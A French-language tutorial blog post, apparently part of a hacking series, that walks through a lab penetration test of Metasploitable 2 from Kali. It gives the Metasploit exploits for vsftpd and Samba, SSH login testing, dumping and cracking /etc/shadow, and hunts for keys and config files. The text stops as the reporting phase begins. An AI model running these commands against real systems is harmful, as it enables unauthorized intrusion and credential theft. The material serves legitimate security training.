The Full Audit: A Complete Penetration Test from Start to Finish

Le Chemin du Hacker : Série en 5 Parties

Partie 1 : Introduction → Partie 2 : Maîtrise du Flipper → Partie 3 : Fondamentaux de Kali → Partie 4 : Exploitation → Partie 5 : L'Audit Complet

Vous avez commencé cette série en vous demandant ce que font réellement les hackers. Vous avez appris que ce n'est pas une question de capuches et de texte vert. C'est de la résolution méthodique de problèmes. Vous avez cloné des badges, cartographié des réseaux, capturé des handshakes et obtenu des shells sur des machines vulnérables.

Maintenant, nous assemblons le tout. Cet article vous guide à travers un test de pénétration complet contre une cible fictive. Chaque phase, chaque décision, chaque découverte, documentée exactement comme le ferait un professionnel.

Le Scénario

Client : Initech Labs (une petite entreprise tech fictive)

Périmètre : Test de pénétration du réseau interne

Objectif : Identifier les vulnérabilités et démontrer l'impact potentiel sur l'entreprise

Votre cible : Votre propre réseau de laboratoire (Kali + Metasploitable 2 + toute autre VM configurée)

Préparez-vous un café. Ça va être amusant.

Phase 1 : Pré-Engagement

Avant de toucher un clavier, les pentesters professionnels gèrent le côté administratif. Si vous sautez cette étape, vous n'êtes pas un pentester. Vous êtes juste quelqu'un qui commet des délits.

L'Appel de Cadrage

Dans un engagement réel, vous auriez un appel avec le client pour comprendre :

Qu'est-ce qui est dans le périmètre ? Quels réseaux, plages IP, applications ?
Qu'est-ce qui est hors périmètre ? Systèmes de production ? Services tiers ?
Fenêtre de test ? Quand pouvez-vous tester ? Heures ouvrables uniquement ?
Points de contact ? Qui appelez-vous si quelque chose casse ?
Objectifs ? Conformité réglementaire ou amélioration réelle de la sécurité ?

Pour Votre Laboratoire

Périmètre : Votre réseau de laboratoire isolé uniquement. Hors périmètre : Tout le reste sur terre. Fenêtre de test : Quand vous voulez. Objectif : Apprendre en pratiquant.

Règles d'Engagement

Les engagements réels ont des règles écrites. Voici ce qu'elles couvrent typiquement :

Lettre d'autorisation - Document signé prouvant que vous avez la permission
Procédures d'escalade - Que faire si vous trouvez quelque chose de critique
Gestion des données - Comment gérer les données sensibles rencontrées
Exigences de nettoyage - Supprimer tous les outils et portes dérobées à la fin
Délai du rapport - Quand le rapport final est-il dû ?

Obtenez Toujours une Autorisation Écrite

Même pour des tests "amicaux" sur le réseau d'un ami. Un email signé disant "vous avez la permission de tester mon réseau du DATE au DATE" pourrait faire la différence entre une expérience d'apprentissage et une condamnation pénale. Prenez cela au sérieux.

Phase 2 : Reconnaissance

Il est temps d'apprendre tout sur la cible. Dans un engagement réel, cela inclurait l'OSINT (renseignement en sources ouvertes) : recherches Google, profils LinkedIn, sites web de l'entreprise, enregistrements DNS. Pour notre laboratoire, nous passons directement à la reconnaissance active.

Étape 1 : Découverte du Réseau

Première question : qu'y a-t-il sur ce réseau ?

bash# Trouvez votre plage réseau
ip a | grep inet
# Cherchez quelque chose comme : inet 192.168.56.100/24

# Découvrez tous les hôtes actifs
sudo nmap -sn 192.168.56.0/24 -oA discovery

# Résultats (exemple) :
Nmap scan report for 192.168.56.1
Host is up (0.00032s latency).
Nmap scan report for 192.168.56.101
Host is up (0.00089s latency).
Nmap scan report for 192.168.56.102
Host is up (0.00045s latency).

Documentez tout. Créez une note comme celle-ci :

text# Initech Labs - Découverte Réseau
# Date : 2026-03-08
# Testeur : Votre Nom

192.168.56.1   - Passerelle/Routeur
192.168.56.101 - Inconnu (à investiguer)
192.168.56.102 - Inconnu (à investiguer)

Étape 2 : Scan de Ports

Maintenant nous creusons plus profond. Quels services tournent ?

bash# Scan complet de ports avec détection de services
sudo nmap -sV -sC -p- -oA full_scan 192.168.56.101

# Cela prend du temps. Pour des résultats plus rapides pendant l'apprentissage :
sudo nmap -sV -sC --top-ports 1000 -oA quick_scan 192.168.56.101

Sur Metasploitable 2, vous verrez un trésor :

textPORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
80/tcp   open  http        Apache httpd 2.2.8
139/tcp  open  netbios-ssn Samba smbd 3.X
445/tcp  open  netbios-ssn Samba smbd 3.X
3306/tcp open  mysql       MySQL 5.0.51a
5432/tcp open  postgresql  PostgreSQL DB
...

Quelle exposition. Mettons à jour nos notes :

text192.168.56.101 - Serveur Linux (Metasploitable)
  - FTP (21): vsftpd 2.3.4       # Porte dérobée connue !
  - SSH (22): OpenSSH 4.7p1      # Ancien
  - Telnet (23): Actif            # Pourquoi ça existe encore en 2026 ?
  - HTTP (80): Apache 2.2.8      # Apps web à tester
  - SMB (139/445): Samba 3.X     # Mine d'or potentielle
  - MySQL (3306): 5.0.51a        # Accès base de données ?
  - PostgreSQL (5432): Actif     # Autre BDD

Étape 3 : Identification des Vulnérabilités

Voyons ce qui est réellement exploitable.

bash# Exécuter les scripts de vulnérabilités
sudo nmap --script vuln -oA vuln_scan 192.168.56.101

# Vérifier des services spécifiques dans Metasploit
msfconsole
msf6 > search vsftpd
msf6 > search samba 3
msf6 > search apache 2.2

La porte dérobée vsftpd 2.3.4 saute immédiatement aux yeux. C'est un shell garanti. Mais un bon pentester ne s'arrête pas à la première découverte. Vous documentez tout.

Salle de serveurs avec des équipements réseau clignotants — Une reconnaissance approfondie cartographie toute la surface d'attaque avant de lancer un seul exploit. Chaque port ouvert et version de service devient un point de données dans votre évaluation.

Phase 3 : Exploitation

C'est là que ça devient passionnant. Nous avons plusieurs points d'entrée potentiels. Travaillons-les systématiquement.

Vecteur d'Attaque 1 : Porte Dérobée FTP

bashmsf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(...) > set RHOSTS 192.168.56.101
msf6 exploit(...) > exploit

[*] Banner: 220 (vsFTPd 2.3.4)
[*] USER: 331 Please specify the password.
[+] Backdoor service has been spawned
[+] Command shell session 1 opened

whoami
root

id
uid=0(root) gid=0(root)

Découverte documentée : Shell root obtenu via la porte dérobée FTP. Temps entre le premier scan et la compromission totale : environ 10 minutes.

Shell root obtenu via la porte dérobée FTP. Temps entre le premier scan et la compromission totale : environ 10 minutes.

Mais nous ne nous arrêtons pas là. Quoi d'autre est accessible ?

Vecteur d'Attaque 2 : Samba

bash# Mettre la session en arrière-plan
background

msf6 > use exploit/multi/samba/usermap_script
msf6 exploit(...) > set RHOSTS 192.168.56.101
msf6 exploit(...) > exploit

[*] Command shell session 2 opened

whoami
root

Un autre shell root via un vecteur différent. Deux chemins indépendants vers la compromission totale.

Vecteur d'Attaque 3 : Applications Web

Voyons ce qui tourne sur le port 80.

bash# Énumérer les répertoires web
gobuster dir -u http://192.168.56.101 -w /usr/share/wordlists/dirb/common.txt

# Résultats :
/cgi-bin/     (Status: 403)
/dav/         (Status: 301)
/icons/       (Status: 301)
/index        (Status: 200)
/phpMyAdmin/  (Status: 301)
/phpinfo      (Status: 200)
/test/        (Status: 301)
/twiki/       (Status: 301)

# Exécuter nikto pour plus de découvertes
nikto -h http://192.168.56.101

phpMyAdmin avec des identifiants par défaut ? Vérifions :

text# Essayer les identifiants courants
Username: root
Password: (vide)

# Accès accordé !

Accès administrateur à la base de données sans mot de passe. De là, nous pourrions extraire toutes les données, modifier les enregistrements ou utiliser les opérations fichiers de MySQL pour écrire un web shell.

Vecteur d'Attaque 4 : Identifiants SSH Faibles

bashmsf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(...) > set RHOSTS 192.168.56.101
msf6 auxiliary(...) > set USERNAME msfadmin
msf6 auxiliary(...) > set PASSWORD msfadmin
msf6 auxiliary(...) > run

[+] 192.168.56.101:22 - Success: 'msfadmin:msfadmin'

Des identifiants faibles donnent un accès SSH. Pas root, mais nous gérerons cela en post-exploitation.

Phase 4 : Post-Exploitation

Nous avons l'accès. Et maintenant ? Un vrai test de pénétration démontre l'impact business. Que peut réellement faire un attaquant avec cet accès ?

Récolte d'Identifiants

bash# Depuis notre shell root
cat /etc/shadow
root:$1$xyz...truncated...:14889:0:99999:7:::
msfadmin:$1$abc...truncated...:14889:0:99999:7:::
user:$1$def...truncated...:14889:0:99999:7:::
postgres:$1$ghi...truncated...:14889:0:99999:7:::

# Sauvegarder pour le cracking hors ligne
cat /etc/passwd > /tmp/passwd.txt
cat /etc/shadow > /tmp/shadow.txt

# Sur Kali, les craquer
unshadow passwd.txt shadow.txt > combined.txt
john --wordlist=/usr/share/wordlists/rockyou.txt combined.txt

Reconnaissance Réseau (Depuis l'Intérieur)

bash# Quels autres réseaux cette machine peut-elle atteindre ?
ifconfig
route -n
cat /etc/hosts
arp -a

# Qu'est-ce qui se connecte à cette machine ?
netstat -tulpn
ss -tulpn

# Chercher des clés SSH (pour le mouvement latéral)
find / -name "id_rsa" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null

Découverte de Données Sensibles

bash# Chercher des fichiers intéressants
find / -name "*.conf" 2>/dev/null | head -20
find / -name "*.sql" 2>/dev/null
find / -name "*.bak" 2>/dev/null
find / -name "*password*" 2>/dev/null

# Vérifier les emplacements de configuration courants
cat /var/www/*/config.php 2>/dev/null
cat /etc/mysql/my.cnf

# Énumération de la base de données
mysql -u root -p  # Essayer mot de passe vide
mysql> SHOW DATABASES;
mysql> SELECT * FROM mysql.user;

Élévation de Privilèges (depuis msfadmin)

Rappelez-vous cette connexion SSH en tant que msfadmin ? Passons root en utilisant ce que nous avons appris dans la Partie 4.

bash# SSH en tant que msfadmin
ssh [email protected]

# Vérifier les permissions sudo
sudo -l
# (La sortie varie, vérifions d'autres vecteurs)

# Trouver les binaires SUID
find / -perm -4000 2>/dev/null

# Chercher des scripts modifiables exécutés par root
cat /etc/crontab

# Télécharger et exécuter LinPEAS pour une vérification complète
# (Dans un scénario réel, déjà couvert dans la Partie 4)

Professionnel travaillant à un bureau avec des outils de cybersécurité — La post-exploitation démontre l'impact réel sur l'entreprise. La différence entre un scan de vulnérabilités et un test de pénétration est de prouver ce qu'un attaquant peut réellement faire avec l'accès.

Phase 5 : Documentation et Découvertes

Le test est inutile sans rapport. C'est ce qui sépare les professionnels des script kiddies. Vous devez expliquer ce que vous avez trouvé, pourquoi c'est important et comment le corriger.